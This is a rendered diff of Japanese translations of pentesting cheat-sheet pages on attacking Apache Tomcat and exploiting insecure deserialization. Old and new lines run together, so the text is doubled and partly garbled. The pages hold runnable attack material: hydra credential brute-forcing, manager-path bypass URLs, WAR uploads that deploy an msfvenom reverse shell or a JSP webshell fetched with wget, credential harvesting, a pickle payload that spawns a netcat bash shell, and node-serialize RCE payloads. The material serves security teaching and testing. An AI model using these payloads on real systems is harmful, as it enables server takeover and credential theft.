hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## 一緒にMetasploitでさまざまなパラメータを設定して特定のホストをターゲットにします。 Along with setting various parameters in Metasploit to target a specific host.
### **一般的な脆弱性** ## Common Vulnerabilities
### **パスワードのバックトレース開示** ### **Password Backtrace Disclosure**
`/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。 `/auth.jsp`にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。
### **ダブルURLエンコーディング** ### **Double URL Encoding**
`mod_jk` のCVE-2007-1860脆弱性により、ダブルURLエンコーディングパス遍歴が可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能なります。 `mod_jk`のCVE-2007-1860脆弱性により、二重URLエンコーディングのパストラバーサルが可能になり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能なります。
Tomcatの管理ウェブにアクセスするには、次のように進みます:`pathTomcat/%252E%252E/manager/html` Tomcatの管理ウェブにアクセスするには、次のようにします: `pathTomcat/%252E%252E/manager/html`
### /examples ### /examples
Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイトスクリプティングXSS攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティングXSS攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用について確認する必要があります。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -109,21 +114,21 @@ Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイ
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **パス遍歴エクスプロイト** ### **Path Traversal Exploit**
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。 一部の[**脆弱なTomcatの構成**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、次のパスを使用してTomcatの保護されたディレクトリにアクセスできます: `/..;/`
したがって、例えば、次のようにアクセスすることで **Tomcatマネージャ** ページにアクセスできるかもしれません:`www.vulnerable.com/lalala/..;/manager/html` したがって、たとえば、次のようにして**Tomcatマネージャー**ページにアクセスできるかもしれません: `www.vulnerable.com/lalala/..;/manager/html`
このトリックを使用して保護されたパスをバイパスする **別の方法** は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 **別の方法**として、このトリックを使用して保護されたパスをバイパスするには、`http://www.vulnerable.com/;param=value/manager/html`にアクセスします。
## RCE ## RCE
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、 **.warファイルをアップロードおよび展開コードを実行** できます 最後に、Tomcat Web Application Managerにアクセスできる場合、**.warファイルをアップロードしてデプロイすることができますコードを実行**
### 制限事項 ### Limitations
WARを展開できるのは、**十分な権限(ロール:** admin **、** manager **、** manager-script **)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](./#post)セクションを参照)。 **十分な権限**(役割: **admin**, **manager**, **manager-script**がある場合にのみWARをデプロイできます。これらの詳細は、通常`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST](./#post)セクションを参照)。
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -133,9 +138,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
# undeploy # undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### メタスプロイト
### Metasploit
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -144,17 +147,17 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password> msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenomシェル ### MSFVenom リバースシェル
1. デプロイするwarファイルを作成します 1. デプロイするための war を作成する:
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
2. `revshell.war`ファイルをアップロードし、それにアクセスします (`/revshell/`): 2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
一部のシナリオではこれが機能しないことがあります (たとえば古いバージョンのsun) いくつかのシナリオでは、これが機能しない場合があります例えば、古いバージョンのsun
#### ダウンロード #### ダウンロード
```bash ```bash
@ -168,13 +171,13 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
### [Culsterd](https://github.com/hatRiot/clusterd)の使用 ### [Culsterd](https://github.com/hatRiot/clusterd)の使用方法
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### 手動方法 - ウェブシェル ### 手動方法 - Webシェル
この[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を使用して、**index.jsp**を作成します: **index.jsp**をこの[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で作成します:
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -205,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### マニュアル方法2 あなたはこれをインストールすることもできます(アップロード、ダウンロード、コマンド実行を許可します): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
JSPウェブシェルを取得し、[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなWARファイルを作成します。 ### 手動方法 2
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -216,16 +221,16 @@ zip -r backup.war cmd.jsp
``` ```
## POST ## POST
Tomcatの資格情報ファイルの名前は _tomcat-users.xml_ です。 Tomcatの認証情報ファイルの名前は _tomcat-users.xml_ です。
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
他のTomcatの資格情報を収集する方法: Tomcatの資格情報を収集する他の方法
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
``` ```
## その他のTomcatスキャンツール ## 他のTomcatスキャンツール
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -240,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# デシリアライゼーション # デシリアライズ
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**シリアライゼーション**は、オブジェクトを保存したり、通信プロセスの一部として送信するための形式に変換する方法として理解されます。この技術は、オブジェクトが後で再作成され、その構造と状態が維持されることを保証するために一般的に使用されます。 **シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
**デシリアライゼーション**は、逆に、シリアライゼーションを相殺するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。 **デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライゼーションは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行したり、オブジェクト再構築プロセス中にアプリケーションで予期しない動作を引き起こす可能性がある**からです。 デシリアライは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせることを許す可能性があるからです。**
## PHP ## PHP
PHPでは、シリアライゼーションおよびデシリアライゼーションプロセス中に特定のマジックメソッドが使用されます: PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
* `__sleep`: オブジェクトがシリアライズされているときに呼び出されます。このメソッドは、シリアライズする必要があるオブジェクトのすべてのプロパティの名前の配列を返すべきです。保留中のデータを確定させたり、同様のクリーンアップタスクを実行するために一般的に使用されます。 * `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
* `__wakeup`: オブジェクトがデシリアライズされているときに呼び出されます。シリアライズ中に失われたデータベース接続を再確立したり、他の再初期化タスクを実行するために使用されます。 * `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
* `__unserialize`: このメソッドは、オブジェクトがデシリアライズされているときに、`__wakeup`の代わりに呼び出されます(存在する場合)。`__wakeup`と比較して、デシリアライゼーションプロセスに対するより多くの制御を提供します。 * `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
* `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。ファイルハンドルを閉じたり、データベース接続を閉じたりするなどのクリーンアップタスクに通常使用されます。 * `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
* `__toString`: このメソッドはオブジェクトを文字列として扱うことを可能にします。ファイルの読み取りなど、それに基づいて関数呼び出しを行うために使用され、効果的にオブジェクトのテキスト表現を提供します。 * `__toString`: このメソッドはオブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
```php ```php
<?php <?php
class test { class test {
@ -86,10 +87,10 @@ This is a test<br />
*/ */
?> ?>
``` ```
結果を見ると、オブジェクトがデシリアライズされるときに関数**`__wakeup`**と**`__destruct`**が呼び出されることがわかります。いくつかのチュートリアルでは、**`__toString`**関数が属性を表示しようとすると呼び出されるとされていますが、どうやらそれは**もはや起こらなくなっている**ようです。 オブジェクトがデシリアライズされるときに関数 **`__wakeup`** **`__destruct`** が呼び出されることが結果からわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されるとありますが、どうやらそれは **もう起こっていない** ようです。
{% hint style="warning" %} {% hint style="warning" %}
クラスに実装されている場合、メソッド**`__unserialize(array $data)`**は**`__wakeup()`の代わりに**呼び出されます。これにより、シリアル化されたデータを配列として提供してオブジェクトを逆シリアル化することができます。このメソッドを使用してプロパティを逆シリアル化し、必要なタスクを実行することができます。 クラスに実装されている場合、メソッド **`__unserialize(array $data)`** が **`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
```php ```php
class MyClass { class MyClass {
private $property; private $property;
@ -102,19 +103,19 @@ $this->property = $data['property'];
``` ```
{% endhint %} {% endhint %}
**PHPの例についてはこちらを参照してください**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) 説明された**PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes ### PHP Deserial + Autoload Classes
PHPのautoload機能を悪用して、任意のPHPファイルやその他を読み込むことができます: PHPのオートロード機能を悪用して、任意のphpファイルを読み込むことができます:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} {% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %} {% endcontent-ref %}
### 参照値のシリアル化 ### 参照値のシリアライズ
何らかの理由で、値を**他の値に対する参照としてシリアル化**したい場合は、次のようにします: 何らかの理由で、**別のシリアライズされた値への参照**として値をシリアライズしたい場合は、次のようにできます:
```php ```php
<?php <?php
class AClass { class AClass {
@ -127,16 +128,16 @@ $o->param1 =& $o->param22;
$o->param = "PARAM"; $o->param = "PARAM";
$ser=serialize($o); $ser=serialize($o);
``` ```
### PHPGGC (PHP用のysoserial) ### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPの逆シリアル化を悪用するペイロードを生成するのに役立ちます。\ [**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
アプリケーションのソースコードで逆シリアル化を悪用する方法を見つけることができない**場合がいくつかありますが、外部のPHP拡張機能のコードを悪用することができる**かもしれません。\ アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\
したがって、サーバーの`phpinfo()`を確認し、**インターネット上****PHPGGC**の**ガジェット**を含む)で悪用できる可能性のあるガジェットを検索してください。 ですので、可能であれば、サーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC****gadgets** でも)して、悪用できる可能性のあるガジェットを探してください。
### phar://メタデータ逆シリアル化 ### phar:// メタデータデシリアライズ
ファイルを読み取り、その中のPHPコードを実行していないLFIを見つけた場合たとえば、_**file\_get\_contents()、fopen()、file()、file\_exists()、md5\_file()、filemtime()、filesize()**_**などの関数を使用している場合**)、**phar**プロトコルを使用して**ファイル**を**読み取る**際に発生する**逆シリアル化**を悪用することができます。\ ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file\_get\_contents(), fopen(), file() または file\_exists(), md5\_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用して **ファイル****読み取る** ときに発生する **デシリアライズ** を悪用しようとすることができます。\
詳細については、次の投稿を読んでください: 詳細については、以下の投稿をお読みください:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} {% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md) [phar-deserialization.md](../file-inclusion/phar-deserialization.md)
@ -147,7 +148,7 @@ $ser=serialize($o);
### **Pickle** ### **Pickle**
オブジェクトがアンピクルされると、関数 _\_\_reduce\_\__ が実行されます。\ オブジェクトがアンピクルされると、関数 _\_\_reduce\_\__ が実行されます。\
悪用されると、サーバーエラーを返す可能性があります。 悪用されると、サーバーエラーを返す可能性があります。
```python ```python
import pickle, os, base64 import pickle, os, base64
class P(object): class P(object):
@ -155,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P()))) print(base64.b64encode(pickle.dumps(P())))
``` ```
以下は、**pickle jails** からの脱出に関する詳細情報を確認してください: For more information about escaping from **pickle jails** check:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -163,13 +164,13 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle ### Yaml **&** jsonpickle
次のページでは、**YAML Pythonライブラリでの安全でない逆シリアル化を悪用**する技術が紹介され、**Pickle、PyYAML、jsonpickle、ruamel.yaml** 用のRCE逆シリアル化ペイロードを生成するために使用できるツールで終わります: 次のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります
{% content-ref url="python-yaml-deserialization.md" %} {% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md) [python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %} {% endcontent-ref %}
### クラス汚染Pythonプロトタイプ汚染 ### Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
@ -179,9 +180,10 @@ print(base64.b64encode(pickle.dumps(P())))
### JS Magic Functions ### JS Magic Functions
JSにはPHPやPythonのような**"マジック"関数**はありませんが、オブジェクトを作成するだけで実行される関数があります。ただし、**`toString`**、**`valueOf`**、**`toJSON`**など、**直接呼び出さなくても頻繁に使用される関数**があります。逆シリアル化を悪用すると、これらの関数を**妥協**して他のコードを実行できる可能性があります(プロトタイプ汚染を悪用することができます)。 JS **には、PHPやPythonのようにオブジェクトを作成するためだけに実行される「マジック」関数はありません**。しかし、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
別の**関数を直接呼び出さずに呼び出す**方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されたオブジェクト**を別の**プロミス**に**変換**し、**関数型の"then"プロパティ**を持つと、別のプロミスによって返されるため、**実行**されるからです。詳細は[_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)を参照してください。 関数を直接呼び出さずに**「マジック」な方法で関数を呼び出す**もう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**「then」という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
```javascript ```javascript
// If you can compromise p (returned object) to be a promise // If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function: // it will be executed just because it's the return object of an async function:
@ -207,7 +209,7 @@ test_then()
``` ```
### `__proto__``prototype` の汚染 ### `__proto__``prototype` の汚染
このテクニックについて学びたい場合は、**以下のチュートリアルを参照してください**: この技術について学びたい場合は、**次のチュートリアルを見てください**:
{% content-ref url="nodejs-proto-prototype-pollution/" %} {% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -215,7 +217,7 @@ test_then()
### [node-serialize](https://www.npmjs.com/package/node-serialize) ### [node-serialize](https://www.npmjs.com/package/node-serialize)
このライブラリは、関数をシリアル化することを可能にします。例: このライブラリは関数をシリアライズすることを可能にします。例:
```javascript ```javascript
var y = { var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
@ -224,43 +226,42 @@ var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y); var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized); console.log("Serialized: \n" + payload_serialized);
``` ```
**シリアライズされたオブジェクト**は次のようになります: The **serialised object** will looks like:
シリアライズされたオブジェクトは次のようになります:
```bash ```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
``` ```
例では、関数がシリアル化されるときに `_$$ND_FUNC$$_` フラグがシリアル化されたオブジェクトに追加されることがわかります。 You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
`node-serialize/lib/serialize.js` ファイルの中に、同じフラグとそのコードがどのように使用されているかが見つかります。 Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
![](<../../.gitbook/assets/image (351).png>) ![](<../../.gitbook/assets/image (351).png>)
![](<../../.gitbook/assets/image (446).png>) ![](<../../.gitbook/assets/image (446).png>)
最後のコードチャンクで見られるように、**フラグが見つかった場合**、`eval` が使用されて関数の逆シリアル化が行われます。つまり、**ユーザー入力が `eval` 関数の中で使用されている**ことになります。 As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
ただし、関数を**単にシリアル化するだけでは**、それを実行することはできません。例では、コードの一部が**`y.rce` を呼び出している**必要があり、それは非常に**起こりにくい**ことです。\ しかし、**関数を単にシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
とにかく、オブジェクトが逆シリアル化されるときにシリアル化された関数が自動的に実行されるように、**シリアル化されたオブジェクトにいくつかの括弧を追加する**ことができます。\ とにかく、**シリアライズされたオブジェクトを修正して**、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行するために**いくつかの括弧を追加することができます**。\
次のコードチャンクでは、**最後の括弧**に注目し、`unserialize` 関数がコードを自動的に実行する方法に注目してください: 次のコードのチャンクでは、**最後の括弧**と`unserialize`関数がどのように自動的にコードを実行するかに注意してください:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test); serialize.unserialize(test);
``` ```
